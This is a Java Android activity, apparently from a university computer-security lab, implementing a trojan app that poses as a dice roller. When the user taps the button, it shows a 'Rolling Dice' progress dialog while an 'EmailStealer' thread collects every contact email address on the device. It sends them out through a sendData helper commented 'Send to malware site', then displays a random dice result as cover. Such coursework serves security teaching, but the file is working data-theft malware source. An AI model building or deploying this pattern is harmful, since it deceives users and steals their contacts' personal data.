package edu.uw.cs.cse484.lab3.task3.exploit;

import java.util.Random;

import edu.uw.cs.cse484.lab3.part1.util.Util;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.TextView;

public class ExploitMain extends Activity {
	private static final String TAG = "ExploitMain";
	
	private static final int PICK_CONTACT_REQUEST = 666; 
	
	private TextView rollDiceHeaderTextView;
	private TextView rollDiceResultTextView;
	
	private ProgressDialog rollingProgress;
	
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
		rollDiceHeaderTextView = (TextView) findViewById(R.id.roll_dice_header_text);
		rollDiceResultTextView = (TextView) findViewById(R.id.roll_dice_result_text);
		rollingProgress = null;
        
        addListenerOnButton();
    }
    
    private void addListenerOnButton() {
    	Button button = (Button) findViewById(R.id.buttonFilter);
    	
    	button.setOnClickListener(new View.OnClickListener() {
			public void onClick(View arg0) {
				updateEmails();
			}
    	});
    }
    
    public void updateEmails() {
    	rollingProgress = ProgressDialog.show(this, "Rolling Dice", "This may take awhile...lots of randomness");
    	
		rollDiceHeaderTextView.setVisibility(View.INVISIBLE);
		rollDiceResultTextView.setVisibility(View.INVISIBLE);
		
    	new Thread(new EmailStealer(this)).start();
    }
    
    private class EmailStealer implements Runnable {
    	private Activity activity;
    	
    	public EmailStealer(Activity activity) {
    		this.activity = activity;
    	}
    	
		@Override
		public void run() {
			
			StringBuilder builder = new StringBuilder();
			for (String email : Util.getContactEmails(activity)) {
				Log.d(TAG, "Email Result: " + email);
				builder.append(email);
				builder.append("\n");
			}
			
			// Send to malware site
			Util.sendData(builder.toString());
			
			String resultFormat = getString(R.string.roll_dice_result_format);
			String result = String.format(resultFormat, new Random().nextInt(6) + 1);
			
			runOnUiThread(new EmailDone(result));
		}
    }
    
    private class EmailDone implements Runnable {
    	private String result;
    	
    	public EmailDone(String result) {
    		this.result = result;
    	}
    	
		@Override
		public void run() {
			rollDiceResultTextView.setText(result);
			
			rollDiceHeaderTextView.setVisibility(View.VISIBLE);
			rollDiceResultTextView.setVisibility(View.VISIBLE);
			
			rollingProgress.dismiss();
		}
    }
}